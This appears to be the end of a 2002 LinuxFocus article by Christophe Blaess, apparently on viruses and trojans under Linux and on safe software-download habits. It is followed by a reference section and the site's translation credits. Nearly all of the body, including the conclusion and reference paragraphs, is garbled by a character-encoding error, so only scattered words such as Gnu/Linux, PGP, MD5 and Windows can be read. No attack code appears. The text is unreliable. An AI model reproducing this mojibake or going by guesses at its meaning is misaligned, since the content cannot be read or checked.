̽����Щ��Gnu/Linux�����з��ֵ��к�����ʹ���ǵõ����½��ۣ����������޷�������������棬������ľ����������֮��ģ���Ҫ���ڲ��ʣ�����ע����ڵ�ǰӦ�ó���İ�ȫ���棬�ر��ǵ�����վ��Ƶ�����ӵ�Internetʱ�������γɺõ�ϰ���Ǻ���Ҫ�ģ�һ������©��������������������ֻʹ���������������񣻴ӿ����ε�webվ������Ӧ�ó��򣻶������صİ������ܾ����ؼ��PGP����MD5ǩ���������ġ��˻�ʹ���ڰ�װӦ�ó���Ŀ����Զ���������ʹ�ýű���

�ڶ���Ӧע��ģ�δ��Linuxϵͳ��������ҪΣ��һ�ǹ���Ӧ�ó���äĿ�ؽ����������ĵ������������ʼ����еĺ꣬���Ƕ�ƽ̨���������Ǽ�ʹ��Windows��ִ�У�Ҳ������ͬһ̨��������Linux�������ҵ��Ŀ�ִ���ļ������˵��һ������ȡ�����û�����Ϊ������Ӧ�ò���������Ӧ�ó�������κζ�������ô�ڶ�����������൱���Խ���ģ���ʹ���ھ�ְ�Ĺ���ԱҲ����ˡ��ںܽ��Ľ��������뽫ǿ��IJ���̽����Ӧ�������ӵ�Internet��Linux����վ���������ڴ�������Ŀ�����������������кܿ���֡�  

�ο���Ŀ

���ڲ�����������ľ��������������в���ĵ�����Ŀ�Ǹ�ʮ����Ҫ��ָ�ꣻ������̸��Ŀǰ���������з�ʽ��ִ�н�������¡���Ȼ������������б��ǹ���Dos/Windows�ģ�����Ҳ��һЩ��Linux��ء�����ᵽ���ĵ����Ƿdz�����ģ����ҷ����������ϵ�ʵ�ֻ��ơ�

 

����ƪ���·�������

ÿƪ���¶��и��Եķ���ҳ�档�����ҳ����������ύ���ۣ�Ҳ���Բ鿴�������ߵ����ۣ�
 ����ҳ�� 

��ҳ��LinuxFocus�༭��ά��
© Christophe Blaess, FDL
LinuxFocus.org

���������LinuxFocus��������������
������Ϣ:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>

2002-10-31, generated by lfparser version 2.25